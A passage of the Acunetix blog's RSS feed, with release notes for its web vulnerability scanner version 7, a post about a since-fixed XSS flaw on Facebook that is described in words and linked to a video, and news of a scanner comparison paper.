<li>Ability to specify label or tag instead of actual parameter name in input fields settings node</li>
<li>Option to automatically randomize input for parameters specified in Input Fields settings node</li>
<li>New well known web applications (e.g. WordPress) finger printing module</li>
</ul>
<p><strong>Major improvements in Version 7:</strong></p>
<ul>
<li>Drastically improved Web 2.0 applications support
<ul>
<li>Better handling and parsing of JSON and XML requests and responses, and other similar Web 2.0 technologies</li>
</ul>
</li>
<li>Improved Session Management</li>
<li>Improved HTTP Sniffer / Manual crawling process
<ul>
<li>Support for a wider variety of content-types</li>
<li>Support for Web 2.0 requests and responses e.g. JSON, XML etc</li>
</ul>
</li>
<li>Improved network traffic handling
<ul>
<li>Support for HTTP Keep-alive</li>
<li>DNS Caching helps in reducing multiple DNS requests</li>
<li>Ability to control delay between requests</li>
<li>Faster handling of traffic</li>
</ul>
</li>
<li>HTTP Authentication
<ul>
<li>Support for Digest HTTP authentication mechanism</li>
<li>Crawler supports more than a single pair of HTTP credentials for the same host</li>
<li>HTTP Authentication settings are now shared between all Acunetix WVS tools</li>
<li>Granular specification of credentials (per server, directory or file)<br />
New HTTP Authentication settings node</li>
</ul>
</li>
<li>Site Crawler
<ul>
<li>Supports a wider variety of communication mechanisms</li>
<li>Improved handling and detection of links and input parameters</li>
<li>Faster crawling of websites</li>
</ul>
</li>
<li>Improved XSS Detection rate</li>
<li>Improved web server security auditing techniques for source code disclosure, directory listing and directory traversal checks</li>
<li>Drastically improved file upload security checks</li>
<li>Improved DNS auditing scripts</li>
<li>Improved security checks for old, backup files and other similar file checks</li>
</ul>
<p><strong>Acunetix VWS Version 7 documentation</strong></p>
<p>The Acunetix WVS Version 7 user manual is available in <a href="http://www.acunetix.com/vulnerability-scanner/wvs7manual.pdf" target="_blank">PDF Format</a> and also in <a href="http://www.acunetix.com/vulnerability-scanner/wvs7manual/websecurity-scanner.htm" target="_blank">HTML Format</a>.</p>
<p>With the introduction of scripting, a Getting Started guide / SDK is available to help you understand how the new vulnerability checks are implemented in Acunetix WVS, and to help you write your own scripts / security checks.  We also developed a new tool, ‘WVS Scripting’, to help you writing your own scripts and testing them.  You can download the documentation and tool from the following location; <a href="http://www.acunetix.com/download/tools/Acunetix_SDK.zip" target="_blank">http://www.acunetix.com/download/tools/Acunetix_SDK.zip</a>.</p>
<p>At a later stage, a more detailed SDK and ‘WVS Scripting’ tool documentation will also be released.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/releases/acunetix-wvs-7-beta/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>VIDEO: Discovered XSS on Facebook can lead to account hijack</title>
		<link>http://www.acunetix.com/blog/news/cross-site-scripting-xss-facebook/</link>
		<comments>http://www.acunetix.com/blog/news/cross-site-scripting-xss-facebook/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 12:59:37 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[acunetix]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[cybercrime]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[hijack]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=1813</guid>
		<description><![CDATA[Facebook rates as the second most popular website on the internet with 400 million active users. When such a website has common web application security flaws, they are going to be abused for one’s gain. ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/07/facebook_logo.jpg"><img class="alignleft size-full wp-image-1824" title="facebook_logo" src="http://www.acunetix.com/blog/wp-content/uploads/2010/07/facebook_logo.jpg" alt="" width="150" height="56" /></a>Facebook rates as the second most popular website on the internet with 400 million active users. When such a website has common web application security flaws, they are going to be abused for one’s gain. When we came across an obvious cross-site scripting vulnerability, we decided to show that an attacker could do that.</p>
<p>The below video shows how an attacker may exploit a cross-site scripting vulnerability on Facebook.com regardless of the HTTPOnly cookie protection used. Of course, this goes way beyond showing an &#8220;alert()&#8221; popup in Javascript, since the attacker is also able to hijack the victim&#8217;s Facebook account. We also published an article to explain in more technical detail the works behind abusing this <a href="http://www.acunetix.com/websitesecurity/xss-facebook.htm" target="_self">Cross-Site scripting vulnerability on Facebook</a>.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/iTddmr_JRYM&amp;hl=en_US&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/iTddmr_JRYM&amp;hl=en_US&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Click <a href="http://www.youtube.com/watch?v=iTddmr_JRYM&amp;hl&amp;fmt=22" target="_blank">here</a> for high quality version of this video (opens a new window)</p>
<p>We worked with Facebook to make sure that this vulnerability is fixed. We would like to thank their security team for quickly fixing it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/cross-site-scripting-xss-facebook/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Acunetix WVS takes first place in black box web vulnerability scanners comparison</title>
		<link>http://www.acunetix.com/blog/news/acunetix-wvs-first-place-black-box-web-vulnerability-scanners-comparison/</link>
		<comments>http://www.acunetix.com/blog/news/acunetix-wvs-first-place-black-box-web-vulnerability-scanners-comparison/#comments</comments>
		<pubDate>Tue, 29 Jun 2010 13:04:24 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[black box]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[web vulnerability scanner comparison]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=1719</guid>
		<description><![CDATA[Acunetix Web Vulnerability Scanner placed first in a paper released by Adam Doup´e, Marco Cova, and Giovanni Vigna from the University of California, Santa Barbara.  In the paper &#8220;Why Johnny Can’t Pentest: An Analysis of ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/vulnerability-scanner/" target="_self">Acune<img class="alignleft size-full wp-image-1722" title="web_vulnerability_scanner_ranking" src="http://www.acunetix.com/blog/wp-content/uploads/2010/06/web_vulnerability_scanner_ranking1.png" alt="" width="142" height="225" />tix Web Vulnerability Scanner</a> placed first in a paper released by Adam Doup´e, Marco Cova, and Giovanni Vigna from the University of California, Santa Barbara.  In the paper &#8220;Why Johnny Can’t Pentest: An Analysis of Black-box Web Vulnerability Scanners&#8221;, the authors compared the capalities of eleven black box web security scanners (both commercial and open source) against a realistic test web application called WackoPicko.</p>
<p><span id="more-1719"></span></p>
<p><em>&#8220;In comparison, our work, to the best of our knowledge, performs the largest evaluation of web application scanners in terms of the number of tested tools (eleven, both commercial and open-source), and the class of vulnerabilities analyzed. In addition, we discuss the effectiveness of different configurations and levels of manual intervention, and examine in detail the reasons for a scanner’s success or failure.&#8221;</em></p>
<p><em>&#8220;we decided to create our own test application, called WackoPicko. It is important to note that WackoPicko is a realistic, fully functional web application.  As opposed to a simple test application that contains just vulnerabilities, WackoPicko tests the scanners under realistic conditions. To test the scanners’ support for clientside JavaScript code, we also used the open source Web Input Vector Extractor Teaser (WIVET). WIVET is a synthetic benchmark that measures how well a crawler is able to discover and follow links in a variety of formats, such as JavaScript, Flash, and form submissions.&#8221;</em></p>
<p>Download the paper &#8220;Why Johnny Can’t Pentest: An Analysis of Black-box Web Vulnerability Scanners&#8221; from <a href="http://www.cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/acunetix-wvs-first-place-black-box-web-vulnerability-scanners-comparison/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

